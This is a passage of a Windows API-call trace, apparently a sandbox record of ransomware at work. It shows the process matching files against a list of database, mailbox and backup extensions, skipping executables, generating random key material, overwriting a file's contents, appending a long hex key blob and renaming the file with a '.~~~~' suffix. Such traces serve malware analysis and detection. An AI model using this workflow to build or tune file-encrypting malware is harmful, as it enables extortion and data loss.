	[0080.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0080.656] lstrlenW (lpString=".eql") returned 4
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0080.656] lstrlenW (lpString=".DBF") returned 4
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0080.656] lstrlenW (lpString=".EQL") returned 4
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0080.656] lstrlenW (lpString=".FDB") returned 4
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0080.656] lstrlenW (lpString=".EDB") returned 4
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0080.656] lstrlenW (lpString=".DACPAC") returned 7
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0080.656] lstrlenW (lpString=".VHD") returned 4
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0080.656] lstrlenW (lpString=".DBV") returned 4
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0080.656] lstrlenW (lpString=".dacpac") returned 7
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0080.656] lstrlenW (lpString=".sdf") returned 4
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0080.656] lstrlenW (lpString=".accdb") returned 6
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0080.656] lstrlenW (lpString=".DBX") returned 4
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0080.656] lstrlenW (lpString=".MDT") returned 4
	[0080.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0080.657] lstrlenW (lpString=".SQB") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0080.657] lstrlenW (lpString=".vhd") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0080.657] lstrlenW (lpString=".bac") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0080.657] lstrlenW (lpString=".mdf") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0080.657] lstrlenW (lpString=".BAK") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0080.657] lstrlenW (lpString=".BAC") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0080.657] lstrlenW (lpString=".dbs") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0080.657] lstrlenW (lpString=".vhdx") returned 5
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0080.657] lstrlenW (lpString=".NDF") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0080.657] lstrlenW (lpString=".dat") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0080.657] lstrlenW (lpString=".DBS") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0080.657] lstrlenW (lpString=".CKP") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0080.657] lstrlenW (lpString=".edb") returned 4
	[0080.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0080.658] lstrlenW (lpString=".PST") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0080.658] lstrlenW (lpString=".dbf") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0080.658] lstrlenW (lpString=".SQL") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0080.658] lstrlenW (lpString=".pst") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0080.658] lstrlenW (lpString=".dbv") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0080.658] lstrlenW (lpString=".SDF") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0080.658] lstrlenW (lpString=".dtxs") returned 5
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0080.658] lstrlenW (lpString=".db3") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0080.658] lstrlenW (lpString=".OST") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0080.658] lstrlenW (lpString=".dbx") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0080.658] lstrlenW (lpString=".DB3") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0080.658] lstrlenW (lpString=".DAT") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0080.658] lstrlenW (lpString=".VHDX") returned 5
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0080.658] lstrlenW (lpString=".ndf") returned 4
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0080.658] lstrlenW (lpString=".DB") returned 3
	[0080.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0080.659] lstrlenW (lpString=".sql") returned 4
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0080.659] lstrlenW (lpString=".MYD") returned 4
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0080.659] lstrlenW (lpString=".DBT") returned 4
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0080.659] lstrlenW (lpString=".ACCDB") returned 6
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0080.659] lstrlenW (lpString=".fdb") returned 4
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0080.659] lstrlenW (lpString=".bak") returned 4
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0080.659] lstrlenW (lpString=".myd") returned 4
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0080.659] lstrlenW (lpString=".DTXS") returned 5
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0080.659] lstrlenW (lpString=".ckp") returned 4
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0080.659] lstrlenW (lpString=".dbt") returned 4
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0080.659] lstrlenW (lpString=".db") returned 3
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0080.659] lstrlenW (lpString=".TXT") returned 4
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0080.659] lstrlenW (lpString=".MDF") returned 4
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0080.659] lstrlenW (lpString=".bdb") returned 4
	[0080.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0080.660] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0080.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.660] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0080.661] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.661] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0080.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0080.661] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20065118326) returned 1
	[0080.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x99ef0310, dwHighDateTime=0x1d60e1e)) 
	[0080.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0080.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0080.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0080.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e148
	[0080.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e148 | out: hHeap=0x300000) returned 1
	[0080.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd8c8
	[0080.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd8c8 | out: hHeap=0x300000) returned 1
	[0080.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.662] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0080.662] GetLastError () returned 0x0
	[0080.662] GetLastError () returned 0x0
	[0080.662] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0080.662] GetLastError () returned 0x0
	[0080.662] GetLastError () returned 0x0
	[0080.662] ReadFile (in: hFile=0x124, lpBuffer=0x2834fe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2834fe0*, lpNumberOfBytesRead=0x26dfec0*=0x73c, lpOverlapped=0x0) returned 1
	[0080.731] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff8c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.731] WriteFile (in: hFile=0x124, lpBuffer=0x2834fe0*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2834fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x73c, lpOverlapped=0x0) returned 1
	[0080.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2834fe0 | out: hHeap=0x300000) returned 1
	[0080.732] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.732] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.732] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.733] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.733] CloseHandle (hObject=0x124) returned 1
	[0080.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39ece0
	[0080.733] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.~~~~")) returned 1
	[0080.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ece0 | out: hHeap=0x300000) returned 1
	[0080.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0080.783] GetLastError () returned 0x0
	[0080.783] RtlWakeConditionVariable () returned 0x365f70
	[0080.783] GetCurrentThreadId () returned 0x9cc
	[0080.783] GetCurrentThreadId () returned 0x9cc
	[0080.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0080.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff0d0 | out: hHeap=0x300000) returned 1
	[0080.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280be40 | out: hHeap=0x300000) returned 1
	[0080.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff0d0
	[0080.783] lstrlenW (lpString=".scr") returned 4
	[0080.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll", lpSrch=".scr") returned 0x0
	[0080.783] lstrlenW (lpString=".cmd") returned 4
	[0080.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll", lpSrch=".cmd") returned 0x0
	[0080.784] lstrlenW (lpString=".dll") returned 4
	[0080.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll", lpSrch=".dll") returned=".dll"
	[0080.784] lstrlenW (lpString=".dll") returned 4
	[0080.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff0d0 | out: hHeap=0x300000) returned 1
	[0080.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801388 | out: hHeap=0x300000) returned 1
	[0080.784] RtlWakeConditionVariable () returned 0x365f70
	[0080.784] GetCurrentThreadId () returned 0x9cc
	[0080.784] GetCurrentThreadId () returned 0x9cc
	[0080.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0080.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff1b8 | out: hHeap=0x300000) returned 1
	[0080.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280be78 | out: hHeap=0x300000) returned 1
	[0080.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff1b8
	[0080.784] lstrlenW (lpString=".scr") returned 4
	[0080.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".scr") returned 0x0
	[0080.784] lstrlenW (lpString=".cmd") returned 4
	[0080.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".cmd") returned 0x0
	[0080.784] lstrlenW (lpString=".dll") returned 4
	[0080.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".dll") returned 0x0
	[0080.784] lstrlenW (lpString=".bat") returned 4
	[0080.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".bat") returned 0x0
	[0080.784] lstrlenW (lpString=".cpl") returned 4
	[0080.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".cpl") returned 0x0
	[0080.784] lstrlenW (lpString=".sys") returned 4
	[0080.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".sys") returned 0x0
	[0080.785] lstrlenW (lpString=".msc") returned 4
	[0080.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".msc") returned 0x0
	[0080.785] lstrlenW (lpString=".com") returned 4
	[0080.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".com") returned 0x0
	[0080.785] lstrlenW (lpString=".lnk") returned 4
	[0080.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".lnk") returned 0x0
	[0080.785] lstrlenW (lpString=".msp") returned 4
	[0080.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".msp") returned 0x0
	[0080.785] lstrlenW (lpString=".pif") returned 4
	[0080.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".pif") returned 0x0
	[0080.785] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0080.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.797] lstrlenW (lpString=".sqb") returned 4
	[0080.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".sqb") returned 0x0
	[0080.859] lstrlenW (lpString=".ost") returned 4
	[0080.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".ost") returned 0x0
	[0080.859] lstrlenW (lpString=".txt") returned 4
	[0080.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".txt") returned 0x0
	[0080.860] lstrlenW (lpString=".mdt") returned 4
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".mdt") returned 0x0
	[0080.860] lstrlenW (lpString=".BDB") returned 4
	[0080.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpSrch=".BDB") returned 0x0
	[0080.860] lstrlenW (lpString=".eql") returned 4
